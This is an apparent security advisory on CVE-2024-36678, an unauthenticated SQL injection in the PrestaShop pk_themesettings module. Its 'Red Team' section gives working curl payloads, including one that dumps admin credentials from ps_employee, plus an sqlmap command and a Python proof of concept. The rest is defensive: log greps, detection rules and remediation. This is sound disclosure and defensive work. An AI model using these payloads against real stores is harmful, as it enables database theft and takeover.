CVE-2024-36678

Executive Summary

CVE-2024-36678 is a critical unauthenticated SQL injection vulnerability discovered in the Promokit.eu "Theme settings" module (pk_themesettings) for PrestaShop, affecting versions up to and including 1.8.8. The flaw resides in the ajax.php script, where a sensitive SQL call can be triggered by a trivial HTTP request without any authentication. This allows a remote, unauthenticated attacker to execute arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and server takeover. The vulnerability has a CVSS base score of 9.8 (Critical) and is currently unpatched. No public exploit code or Nuclei template is available at this time, but the attack vector is straightforward.

Supply Chain & Package Security

This vulnerability affects a third-party PrestaShop module distributed by Promokit.eu. PrestaShop modules are typically installed via the PrestaShop Addons marketplace or direct download. The compromised module can be introduced into a PrestaShop instance through:

• Direct installation from the vendor's website.
• Installation via the PrestaShop back office module upload.
• Automated deployment pipelines that pull modules from external sources.

Organizations using PrestaShop should immediately audit their module inventory for pk_themesettings version <= 1.8.8 and treat this as a high-priority supply chain risk.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Base Score: 9.8 (Critical)

Threat Level: Critical. The combination of network exploitability, no authentication, and high impact makes this a severe threat. An attacker can dump the entire PrestaShop database, including customer PII, credentials, and payment data.

Deep Dive & Mechanics

The vulnerability exists in the ajax.php file of the pk_themesettings module. The script accepts user-supplied parameters via HTTP GET or POST requests and directly concatenates them into a SQL query without proper sanitization or parameterization.

Root Cause: The ajax.php script likely contains a function that processes theme settings and uses a dynamic SQL query built from user input. For example, a parameter like id_product or action might be passed directly to a SELECT or UPDATE statement.

Attack Vector: An attacker can craft a simple HTTP request to the vulnerable endpoint, such as:

GET /modules/pk_themesettings/ajax.php?action=getProduct&id_product=1 UNION SELECT ...

The script does not validate the input, allowing the attacker to inject arbitrary SQL commands. Since PrestaShop uses MySQL/MariaDB, the attacker can leverage UNION, SELECT, INSERT, UPDATE, or DELETE statements.

Impact: Successful exploitation can lead to:

• Extraction of customer data (names, emails, addresses, hashed passwords).
• Extraction of admin credentials (password hashes).
• Modification of product prices or orders.
• Insertion of malicious JavaScript (stored XSS) into the database.
• Full database takeover and potential server compromise via INTO OUTFILE or LOAD_FILE.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common SQL injection fixes.

Vulnerable Code (ajax.php - conceptual):

<?php
$id_product = $_GET['id_product'];
$sql = "SELECT * FROM "._DB_PREFIX_."product WHERE id_product = $id_product";
$result = Db::getInstance()->executeS($sql);
?>

Patched Code (conceptual):

<?php
$id_product = (int)$_GET['id_product']; // Cast to integer
$sql = "SELECT * FROM "._DB_PREFIX_."product WHERE id_product = ".(int)$id_product;
$result = Db::getInstance()->executeS($sql);
?>

Key Differences:

• The patched version uses explicit type casting ((int)) to ensure the input is numeric.
• Alternatively, the patched version should use prepared statements with parameterized queries (e.g., Db::getInstance()->getRow('SELECT * FROM '._DB_PREFIX_.'product WHERE id_product = ?', array($id_product))).

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A PrestaShop instance with pk_themesettings <= 1.8.8 installed and enabled.
• Network access to the vulnerable endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -v "http://target.com/modules/pk_themesettings/ajax.php"
   

2. Test for SQL injection using a simple time-based payload:

   curl "http://target.com/modules/pk_themesettings/ajax.php?action=getProduct&id_product=1 AND SLEEP(5)"
   

   If the response is delayed by 5 seconds, the injection is confirmed.

3. Extract database version:

   curl "http://target.com/modules/pk_themesettings/ajax.php?action=getProduct&id_product=1 UNION SELECT 1,@@version,3,4,5-- -"
   

4. Dump admin credentials:

   curl "http://target.com/modules/pk_themesettings/ajax.php?action=getProduct&id_product=1 UNION SELECT 1,email,passwd,4,5 FROM ps_employee-- -"
   

5. Automated exploitation with sqlmap:

   sqlmap -u "http://target.com/modules/pk_themesettings/ajax.php?action=getProduct&id_product=1" --batch --dbs
   

Proof of Concept (PoC) Script:

import requests
import sys

target = sys.argv[1]
url = f"{target}/modules/pk_themesettings/ajax.php"
params = {
    "action": "getProduct",
    "id_product": "1 UNION SELECT 1,2,3,4,5-- -"
}
r = requests.get(url, params=params)
print(r.text)

Blue Team (Defensive)

Detection Steps:

1. Monitor HTTP access logs for suspicious requests to ajax.php:

   grep "ajax.php" /var/log/apache2/access.log | grep -E "(UNION|SELECT|SLEEP|BENCHMARK|OR 1=1)"
   

2. Check for unusual parameters in the query string:

   grep "ajax.php" /var/log/apache2/access.log | grep -E "(\%27|\%22|--|#|;|UNION)"
   

3. Verify module version:

   grep "pk_themesettings" /path/to/prestashop/modules/pk_themesettings/config.xml
   

4. Temporarily disable the module:

   php /path/to/prestashop/bin/console prestashop:module disable pk_themesettings
   

5. Implement a WAF rule to block SQL injection patterns (see Detection Engineering).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /modules/pk_themesettings/ajax.php containing SQL keywords (UNION, SELECT, SLEEP, etc.).
• Unusual parameters in the query string (e.g., id_product=1 UNION SELECT).
• Requests with encoded characters (%27, %22, --).

File IOCs:

• Presence of modules/pk_themesettings/ajax.php with version <= 1.8.8.
• Modified database entries (e.g., new admin users, altered product data).

Log IOCs:

• Apache/Nginx access logs showing repeated requests to ajax.php with SQL-like patterns.
• MySQL error logs containing syntax errors from injected queries.

Database IOCs:

• Unexpected rows in ps_employee table.
• New files in the PrestaShop upload directory (from INTO OUTFILE).

Detection Engineering

YARA Rule

rule CVE_2024_36678_SQLi_PkThemesettings {
    meta:
        description = "Detects SQL injection attempts targeting PrestaShop pk_themesettings module"
        author = "Valters IT"
        date = "2024-07-01"
        reference = "CVE-2024-36678"
    strings:
        $ajax_path = "/modules/pk_themesettings/ajax.php"
        $sql_keywords = /(UNION|SELECT|SLEEP|BENCHMARK|OR 1=1|DROP|INSERT|UPDATE|DELETE)/i
        $encoded_chars = /(%27|%22|--|#|;)/i
    condition:
        $ajax_path and ($sql_keywords or $encoded_chars)
}

Sigma Rule

title: SQL Injection Attempt Against PrestaShop pk_themesettings Module
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to /modules/pk_themesettings/ajax.php containing SQL injection patterns
author: Valters IT
date: 2024-07-01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36678
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - '/modules/pk_themesettings/ajax.php'
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION in rare cases (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-36678 - SQL Injection Attempt Against PrestaShop pk_themesettings Module";
    flow:to_server,established;
    content:"/modules/pk_themesettings/ajax.php"; http_uri;
    pcre:"/(UNION|SELECT|SLEEP|BENCHMARK|OR 1=1|DROP|INSERT|UPDATE|DELETE)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    reference:cve,2024-36678;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the module: Temporarily disable pk_themesettings via PrestaShop back office or CLI:

   php bin/console prestashop:module disable pk_themesettings
   

2. Apply virtual patching: Use a WAF (e.g., ModSecurity, Cloudflare) to block requests containing SQL injection patterns to ajax.php.
3. Audit database: Check for unauthorized changes in ps_employee, ps_customer, and ps_product tables.

Long-term Fix:

• Contact Promokit.eu for an official patch.
• If no patch is available, consider replacing the module with an alternative.
• Implement input validation and parameterized queries in all custom modules.

Preventive Measures:

• Regularly update all PrestaShop modules.
• Use a Web Application Firewall (WAF).
• Conduct periodic security audits of third-party modules.
• Implement least privilege for database users.

Valters IT
DevSecOps & Cyber Threat Intelligence